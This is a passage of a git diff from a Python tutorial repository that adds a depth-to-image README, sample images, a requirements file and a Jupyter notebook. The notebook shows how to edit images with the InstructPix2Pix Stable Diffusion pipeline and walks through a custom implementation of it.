"align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fff5255694d74756a08b556c51affbd9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/depth2image-stable-diffusion/README.md b/machine-learning/depth2image-stable-diffusion/README.md new file mode 100644 index 00000000..796ea92c --- /dev/null +++ b/machine-learning/depth2image-stable-diffusion/README.md @@ -0,0 +1 @@ +# [How to Perform Image to Image Generation with Stable Diffusion in Python](https://www.thepythoncode.com/article/generate-images-using-depth-to-image-huggingface-python) \ No newline at end of file diff --git a/machine-learning/depth2image-stable-diffusion/image11.png b/machine-learning/depth2image-stable-diffusion/image11.png new file mode 100644 index 00000000..46dc3770 Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image11.png differ diff --git a/machine-learning/depth2image-stable-diffusion/image12.png b/machine-learning/depth2image-stable-diffusion/image12.png new file mode 100644 index 00000000..d138fd70 Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image12.png differ diff --git a/machine-learning/depth2image-stable-diffusion/image15.png b/machine-learning/depth2image-stable-diffusion/image15.png new file mode 100644 index 00000000..290d645b Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image15.png differ diff --git a/machine-learning/depth2image-stable-diffusion/image16.png b/machine-learning/depth2image-stable-diffusion/image16.png new file mode 100644 index 00000000..c3ed308b Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image16.png differ diff --git a/machine-learning/depth2image-stable-diffusion/image3.png b/machine-learning/depth2image-stable-diffusion/image3.png new file mode 100644 index 00000000..28717e33 Binary files /dev/null and b/machine-learning/depth2image-stable-diffusion/image3.png differ diff --git a/machine-learning/depth2image-stable-diffusion/requirements.txt b/machine-learning/depth2image-stable-diffusion/requirements.txt new file mode 100644 index 00000000..024cb1d5 --- /dev/null +++ b/machine-learning/depth2image-stable-diffusion/requirements.txt @@ -0,0 +1,5 @@ +diffusers +transformers +scipy +ftfy +accelerate \ No newline at end of file diff --git a/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb b/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..5d744500 --- /dev/null +++ b/machine-learning/edit-images-instruct-pix2pix/InstructPix2Pix_PythonCodeTutorial.ipynb @@ -0,0 +1,12948 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ifD7o7YOTehV", + "outputId": "8b42a9b5-d180-4986-b868-900a349b01bc" + }, + "outputs": [], + "source": [ + "!pip install -qU diffusers accelerate safetensors transformers" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "CqAnOnnOcp4W" + }, + "source": [ + "# Hugging Face" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "B2QCQqM9ckWd" + }, + "outputs": [], + "source": [ + "import PIL\n", + "import requests\n", + "import torch\n", + "from diffusers import StableDiffusionInstructPix2PixPipeline, EulerAncestralDiscreteScheduler\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "yzLP1VRHdBY7" + }, + "outputs": [], + "source": [ + "def download_image(url):\n", + " image = PIL.Image.open(requests.get(url, stream=True).raw)\n", + " image = PIL.ImageOps.exif_transpose(image)\n", + " image = image.convert(\"RGB\")\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 829, + "referenced_widgets": [ + "baf9ec5ebd604db9b1f5dfa948742aa2", + "b9a0167274eb44b7be65b17130d3ade6", + "44638b1824bc48de85029440f2f4a612", + "b9f1fb9570e148e7852f4f569ae82852", + "9f75675721ae47eb99c80fedb78ea2b7", + "876c7d9ec56145338bb7b960b52bddd0", + "fa82f3acd0794629b0a5af2383807c2c", + "bb3842e44e0a49f2bec66a0bbb971348", + "30e99a47aedb446ab999975c08fd96e3", + "686e9a80d1554e6ca5ff8e1df5188c31", + "20d097bf20d541bda6c8b77a0d021c9a", + "c327ed98ce284b84ae4cc89d9797b15f", + "14aad595b905426b8d7fc4390bd755d8", + "d876c82248f1418e83462dcc38f96469", + "0f79fff269c349648fb6e15bf127a7c8", + "768863d6e7e747709c4413764e7e7093", + "25082abec02c47aab0f6c66225815b6b", + "721121db2dc54b14aec771d3c6cdd0fd", + "f6787f179f0c4dc6b420085606784de9", + "ab713f31f1d34894b4826a67de80daf3", + "55e9c8210ea743939cdcdf6b873e00a1", + "7e4e6d45329a415cba65daa185369ad6", + "c85450a2f1334f9aa43211929b1714e1", + "1707f4e4e7a64dbb8a38f7042836bfb2", + "3b9b27b4550c453f82f000c03d1209a7", + "811695ab3aef4a368d2949af43b5f589", + "dfcd450b24d244ab86ccfc1b602a1d7e", + "dca153f028a14e3e959c9fe29816223f", + "b0367ea7d4b549bc85b64029a6da3ad7", + "c4783205744246c99a52bb6bb8df3d7d", + "7d941358dd1b4298bf1bf803b625f764", + "8af370239d6f45f48cd1f6befdbd9211", + "247e38c4011445f1adb3a832ddb53e2e", + "91b59a00a5214cd7af5fad47ce24e756", + "90443b91e1f448f78274e3157290a8e0", + "6be67e6518ea45a0b14a24c79b947617", + "4cbd69647642484f9058b10156001882", + "1b8ccf560cce482caf4d08a3ed02f0fe", + "f3f3d0fa7c164320b7f11f68a3915899", + "ee9c24e8b40948d398b026d30cc5cee7", + "d9069541f2f246b99881a937f384c7ab", + "c5ffdd678bd444d6b66bc7525947b716", + "cce1c917ad4a4b2c93369e249cd1c13c", + "ff7172bc118f4f22bc1acbe531787b42", + "188e9e93c80d4cc699990feb5b52eaee", + "2fb28ad0fe464c7a8b1f3c9354140e51", + "4b63548f0285403e9e4f2431632cc3ae", + "6fea93ee309c49be85992b1a18756101", + "d220c9f6c0684da98525ddfb0ccdf8f5", + "4e3eebfc758c467fbf44e81c0de7068d", + "f0c88afdf3ac4ca3b63be6f561bbf5f0", + "0a2014cc648840249d57eb9c569e9fa1", + "3467d3ba1eeb44c69149cdbc55469f39", + "6168a5fc0aeb44cfab1ca7753ecedced", + "aabeb052d7644bdcab945fdd5acf3cd7", + "ac8bc6df18574f06b4fe458c3dff0f24", + "6a6320e8239d4413b9fc766b2e06ff1e", + "fb21fb73c13f4b12a6e917160f5891ed", + "d7199c08026f4da58da262e192602fc4", + "ee194df227d447d9a5a36d4ec08d3a47", + "af5bcc7147324069a3d292911d70d057", + "95a784af30bd4bde911e0ee76e343e72", + "8b08803f05bb47a1b83ebeff76e7caf7", + "27544c3774b54c018270a66ebbd06edb", + "86c728930faa41bcad11875ca74af210", + "1fcc4a24bf9b4ec6aec98800a872966f", + "ff5ca71e3f254e82ba648f2b5a000de2", + "efa4ce6a37094cd483fa4e39b7ae04eb", + "1529067d721f4287b26e576942b5bc97", + "1763740db60f490493e2fe10d35cc58e", + "40ea712393314cfe9452f6b14bfd58e6", + "b7db2ab7ac704366b20c166c701019c0", + "8c01f8b4191048c5b596bb5da0c73d2f", + "bbbca2e29d6444f7ba4e592068124650", + "42f14a72c44047b695a6b2bfc5184370", + "e221a677aab740ea888cb7faf343dfbb", + "12694ca9da6c43eaa5640a47cea2d10b", + "9bc9af26c0bd4a2889ebff1c5cc14dc4", + "405d6f07be5743be8ea10f7e2d4ee73d", + "06e488fd0cbb44a79328b0c88392b650", + "8779a1cb87f6461a9a152ece606fa948", + "b897a3bfccf040548ccf16ef62315d5f", + "3b7d6992813e4a32aa5c6d959ac24b27", + "78684c2b2b05406ba992fe197c947bcc", + "7af9fef14d3a4464aa16232f9d2cf94a", + "c13cbe7f79d64c9a9ae4fb90a5cbef9a", + "1974a1b14cd74807b872ad12380d0fe3", + "990b53f96b66496bb27edb5c1ea012bc", + "224de1d94c8047c49546f4d3a49b86a6", + "f0aebefd751e48939aae8e3eac7adfde", + "d7335eeea61f49a291bbc9f120c823e7", + "7dafba4f66a245659587c06edbffcf51", + "6f5b06b458d7482ba9685013cad5bfa7", + "90ddc85bb3e84773acf73b9a16b4f0be", + "440bb669cff048cea2363b50d28521ed", + "21e6f865412f4787b04b69da0cafa300", + "d6b66675891141aba38d8e8bd130c47c", + "ee87d3500d5a483b8a03b0c499392928", + "5a4843d7d25545dea9b6e53cb091321b", + "305d426ec46a4d14876f9d988fa7cb5c", + "6b403cea94ae4e2887302d164e991cf8", + "c59286b70fe74bbea779bbfae03e1a87", + "d138d9f2076c493da68ff7edb0bc36c7", + "04ec14e8bc8f4ad5827e351c01e5a1ee", + "a464d6a9bc374081a75ad8a0514c869a", + "0c1419eec41b48f093ec53410c10c583", + "80e6d8758fe646e2a43d45e31d157b26", + "fd5335a0dce5483bba6b91db1e32346e", + "f6239b69aa6e4ece90cdb6fabf707c57", + "881d8ed91e394981b6320122489fe8bc", + "3eccfb04c05445f8a45a56afd74f7e41", + "afea13c7ba3a44eeab58c5069f677a61", + "0b695e5be5184a43a9f26b21f69a4338", + "b6e068b2f21844dc9c184ec49af6b48f", + "dc22f7fca8eb4d258406b3b53af177cc", + "e0424e3a00f24718ab911e6162ce8d2c", + "0ef6a22743594f0081b7af4c1ec4ab71", + "0cc9773ba8b3455495375b0b955891e6", + "95adb39e73614c96af18ccb2468d5b37", + "fe213a7fa3c44223847fd5cf3b05a9a5", + "f546e96ee51643839dd2d98d09df9c87", + "a76fd8c2c78546a8a4cb5446c7b57505", + "9d6a05a53dd24fac9e093e0b278e3381", + "c9dd35af3a2449f7b2b7be3915b01a70", + "b40740317d3a4116a5b141ad4b6cf6ed", + "8babbe3e6d994cbeaa63e70192e858a4", + "d3e78f87ec5c4c3e9e1efafefadea3bd", + "8214d94c9de5436a9ed42367af453491", + "282151a48c29477cb45f8d46beb22f5e", + "1895d19dcd574f56b7148ca7235fd0b4", + "dfe593ba3bb440e0a29864c62f7b049e", + "03c6a309fc494734bd9ebf16634f9063", + "6972c854e0ed46949fa89673845aa9b5", + "b74ed8b4d7604233a405f1413959b644", + "c61940c9c4174fa8b515bbda3b612146", + "a8983f58e5c44385864ba164e3d00083", + "d11ce4de43984beab4937652c55419cb", + "422cdb3a6aed4177aba5f6e9ac77e1bf", + "14fe6c5fa5274bde8d90be608d3a6814", + "65947bf28d8c47059e1dae1f1d2f97b2", + "93b5852ebf584c3e95ca3275b2c9b698", + "1d631802aab44912a6097e97d2675102", + "c772f5d3ffca49a2a4c0d16a4469105c", + "eb33b9af3ec14698bec89ff8b66bae06", + "b00687d7649d45af882cdd6d0f97591d", + "62905ea2ea4045aeb5ec9a8426247100", + "9eb63a9230ba472d87cf106e8abb5dff", + "fcc8de512f89491ab8b7a50cc37f83f5", + "48d6f53c34b84be4a219cc30ac539aeb", + "6e4877900597413e96d01faf5f76b700", + "6923960e3752477590c9c9ebc862163c", + "b286d3656c404762b3aaff97f4a5892d", + "8811223ffe8547e99b837842150396f4", + "4e55fede968943718a3c10962f5f708b" + ] + }, + "id": "YUXSNFWQckY6", + "outputId": "68b5d0d1-14e0-440d-8fd1-ffa021810b7a" + }, + "outputs": [], + "source": [ + "model_id = \"timbrooks/instruct-pix2pix\"\n", + "pipe = StableDiffusionInstructPix2PixPipeline.from_pretrained(model_id, torch_dtype=torch.float16, safety_checker=None)\n", + "pipe.to(\"cuda\")\n", + "pipe.scheduler = EulerAncestralDiscreteScheduler.from_config(pipe.scheduler.config)\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "8TsGblmidHew", + "outputId": "2f023570-99cc-4a79-aca4-bbee89c22965" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "039beb2fc4c6412d9e05d9d50884e940", + "0cf59b40f6304ec38bdaaee06943173f", + "63ecaa7f41ce4289aa768b77e9ceebe7", + "2a8a4ed0b2854b558efd5acce8dcf5c2", + "19469649ab6b44f8b1d6408ac2646579", + "1cbc65f4245e4c25a64827f0e2beb08d", + "59e8c90ecdf04c2b89f9a539e7f7fdbb", + "7ede80a1f6544f2a8dfd631cb6d4eaca", + "3bcb60cbd7ab48e2884460a1e539bd12", + "ee1a66e0f3ab4c67beef305317124a0f", + "b390338978084bd19f7e7e6ce8ea7e44" + ] + }, + "id": "sAoN5eGgdEku", + "outputId": "12f7ab74-6115-45ed-9092-936916fe6d69" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "b4c47f72d4204e2abbe9781707b754ee", + "8e4655cdbd0348bb86523938a0d95367", + "b99c852bd2f54c79afac0eb0049c5dd0", + "5fd422b13c324a8baf619da5d1ad0b8e", + "dc16acab929344cab2be08d297182843", + "a613c20dd06d4754b7a890d802476395", + "7342611c130c4e3da540d7ae0ac95b52", + "d1d635fff656454e9b0cdba740067c07", + "e535c42b82cb4e1fa4fbf492768e5762", + "8f10179341c44eb192f865feb143c57e", + "7f58916aaee04e5b89978d0111acf83d" + ] + }, + "id": "frOPmxYejP1g", + "outputId": "c0558f66-35ea-4a3e-f698-93d94894631c" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.5).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 444 + }, + "id": "oIzmKWERckbG", + "outputId": "2470148e-11be-4a08-c685-bb9eb5cf7f82" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "3593ebaab56e4bca9706c5775ae87b75", + "dc8d5cf759be4ab08d801e1d4758b34a", + "ef3472cacb4d426cbacec25777507432", + "d5a6cb28917b48d4910903e016319aec", + "ba1422edddc447b78ba7fbf4ba11e364", + "8bb4488a1c1c4defafb072afa695918f", + "2dc8bda3ec0046b09c6422b5248f1312", + "50569e1467f7411e862553111c97afb3", + "72effdc24eb84648b6838729c11fed72", + "ecc2c348430c471791a449784f5df44c", + "dd94c326988a41cd8b57f4dd9a26f499" + ] + }, + "id": "p2rDwOJ2cken", + "outputId": "4ba88e9a-9da1-4ad4-9f76-ee8bddd3e85e" + }, + "outputs": [], + "source": [ + "prompt = \"turn the bird to red\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 445 + }, + "id": "Ka85jznIggXl", + "outputId": "9e11a102-9fb1-49ab-e6e6-5bc69740af5e" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2018/05/08/06/52/vacation-3382400_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "c3514684a02e496a875cb8fa0e86b449", + "0ace66c377a14034a594774ec024e074", + "865a15f101944359bbf30226e4cc1c90", + "5caac903dab34c119294cd4bfb65725c", + "cf013b91c09f493b94c050f224449336", + "9d28ea1de5494de5b911c1f120185b7a", + "9887290953b6414eacb4396a5b240a2e", + "5a00f85a6e9e44fcaa25dd0d982f2d0f", + "14a49cf00e9744dc8f2ac8ec3f19c90c", + "eed1d1e67a1d4a20ba49586148ca5a2a", + "147c95feace0447ca58cc4079cb2cbe5" + ] + }, + "id": "HQ6tutGNggZf", + "outputId": "f84857ef-4a50-4305-dfd7-05840d893ae2" + }, + "outputs": [], + "source": [ + "prompt = \"turn the suitcase yellow\"\n", + "images = pipe(prompt, image=image, num_inference_steps=20, image_guidance_scale=1.7).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "mXejIqrcggbu" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "CgINC4vJggfD" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "mPGPiJhXcsr4" + }, + "source": [ + "# Custom implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5aBPcPxqePIB" + }, + "outputs": [], + "source": [ + "from tqdm import tqdm\n", + "from torch import autocast" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "F2gPSPPyZP0_" + }, + "outputs": [], + "source": [ + "class InstructPix2PixPipelineCustom:\n", + " \"\"\"custom implementation of the InstructPix2Pix Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " scheduler,\n", + " image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler = scheduler\n", + " self.image_processor = image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt, prompt_negative=None):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + "\n", + " if prompt_negative is None:\n", + " prompt_negative = ['']\n", + " elif isinstance(prompt_negative, str):\n", + " prompt_negative = [prompt_negative]\n", + "\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds(prompt_negative)\n", + "\n", + " # instructpix2pix takes conditional embeds first, followed by unconditional embeds twice\n", + " # this is different from other diffusion pipelines\n", + " prompt_embeds = torch.cat([cond_embeds, uncond_embeds, uncond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"transform image from pytorch tensor to PIL format\"\"\"\n", + " image = self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_image_latents(self, image):\n", + " \"\"\"get image latents to be used with classifier free guidance\"\"\"\n", + "\n", + " # get conditional image embeds\n", + " image = image.to(self.device)\n", + " image_latents_cond = self.vae.encode(image).latent_dist.mode()\n", + "\n", + " # get unconditional image embeds\n", + " image_latents_uncond = torch.zeros_like(image_latents_cond)\n", + " image_latents = torch.cat([image_latents_cond, image_latents_cond, image_latents_uncond])\n", + "\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size, num_channels_latents, height, width))\n", + " image_latents = image_latents.to(self.device)\n", + "\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " image_latents,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale,\n", + " image_guidance_scale):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latent as conditioned by image_latents\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents *thrice* to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 3)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + "\n", + " latent_model_input = torch.cat([latent_model_input, image_latents], dim=1)\n", + "\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(latent_model_input, t,\n", + " encoder_hidden_states=prompt_embeds)['sample']\n", + "\n", + " # separate predictions into conditional (on text), conditional (on image) and unconditional outputs\n", + " noise_pred_text, noise_pred_image, noise_pred_uncond = noise_pred.chunk(3)\n", + " # perform guidance\n", + " noise_pred = (\n", + " noise_pred_uncond\n", + " + guidance_scale * (noise_pred_text - noise_pred_image)\n", + " + image_guidance_scale * (noise_pred_image - noise_pred_uncond)\n", + " )\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " prompt_negative=None,\n", + " num_inference_steps=20,\n", + " guidance_scale=7.5,\n", + " image_guidance_scale=1.5):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt, prompt_negative)\n", + "\n", + " # preprocess image\n", + " image = self.image_processor.preprocess(image)\n", + "\n", + " # prepare image latents\n", + " image = image.half()\n", + " image_latents = self.get_image_latents(image)\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " height_latents, width_latents = image_latents.shape[-2:]\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.vae.config.latent_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " latents = self.get_initial_latents(height_latents, width_latents, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " image_latents,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale,\n", + " image_guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16) # change dtype of latents since\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = image.detach() # detach to remove any computed gradients\n", + " image = self.transform_image(image)\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "itugpKfQZP3S" + }, + "outputs": [], + "source": [ + "# We can get all the components from the InstructPix2Pix Pipeline\n", + "vae = pipe.vae\n", + "tokenizer = pipe.tokenizer\n", + "text_encoder = pipe.text_encoder\n", + "unet = pipe.unet\n", + "scheduler = pipe.scheduler\n", + "image_processor = pipe.image_processor" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Z4mM2_z_ZP5f" + }, + "outputs": [], + "source": [ + "custom_pipe = InstructPix2PixPipelineCustom(vae, tokenizer, text_encoder, unet, scheduler, image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "NjkhgTz0mIPi", + "outputId": "56a214f8-02c5-4157-8648-6165bd4f2ec7" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2013/01/05/21/02/art-74050_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "pcG55mdtZP8N", + "outputId": "8c91332c-2b17-49b5-c3aa-416b141a035e" + }, + "outputs": [], + "source": [ + "# sample image 1\n", + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "l0m6vIq4ZP-K", + "outputId": "a97e7c0d-22a5-490a-c476-22d27aebd76a" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2023/03/22/01/41/little-girl-7868485_640.jpg/"\n", + "image = download_image(url)\n", + "image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "3eDhpvlHZQAo", + "outputId": "4d93878c-1a89-44ff-a823-4f8ca97c5e88" + }, + "outputs": [], + "source": [ + "# sample image 2\n", + "prompt = \"turn into 8k anime\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "6rAfgSFK3s-B" + }, + "source": [ + "# Limitations" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 674 + }, + "id": "hKs8yic0RQFi", + "outputId": "68fd4162-3c98-488c-d3b1-164efbdc80ad" + }, + "outputs": [], + "source": [ + "prompt = \"turn entire pic into anime frame\"\n", + "images_custom = custom_pipe(prompt, image, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "61YH9qpyRXiQ" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "OU9zLHTR2H_j" + }, + "source": [ + "# Rough\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "b1ac65dd59c94a269c3660d4ebd8fa16", + "76732cd3aa5745058c70bb1aa44b1667", + "09bc80852b334a6f9905c6d93eada57c", + "c1ee4f8f667743ed94a939a9fe749e39", + "ff7c3d43d89a40a9941f2b9baf8e9fd9", + "1494c31d3d114a13a3ebbe85df2316ba", + "9604b8f7a8ef4fa6b488ee1892e138d2", + "7bcb49396cf84ea6878d5ceddd480326", + "8c8b4b87df9242318f1ceaf5fc00b216", + "25c92f3c188e4009ba806c6d56cc66c4", + "1da8ad0bdb2547cdb4edc5bc5df7a8ea" + ] + }, + "id": "i5lucCESjxyr", + "outputId": "19b61940-802c-4e44-a2b2-c63ffba8faa6" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, image_guidance_scale=1.6).images\n", + "images[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 689, + "referenced_widgets": [ + "6d22121bbb6f4bcaa1b5f355d0f2e8a1", + "ed4320b4d8284ead91830c0b11b9bc56", + "1fe983e43b7f4bca905a65b07eef5491", + "6a234c3c85734a2cae1348a3329bb659", + "d3415f46386c49ce9593585d421657fa", + "f25cbe3e352d44c9849191bbb8e9d4d9", + "3bffddd95fdf4e3c896e1554a239273a", + "e92d28da4f314f73b4c4cccde114f1f4", + "f7728f9c5b0f4f4ca084119f74e9dcaf", + "b77a65348afa4b6aae8540dd5d9e4d2c", + "960b8d20472f40078fc9566abc065cc1" + ] + }, + "id": "LCMg5TPOjP30", + "outputId": "e2405a06-116a-411b-ad80-0b8afa5f5bef" + }, + "outputs": [], + "source": [ + "prompt = \"convert the lady into a highly detailed marble statue\"\n", + "images = pipe(prompt, image=image, num_inference_steps=10, 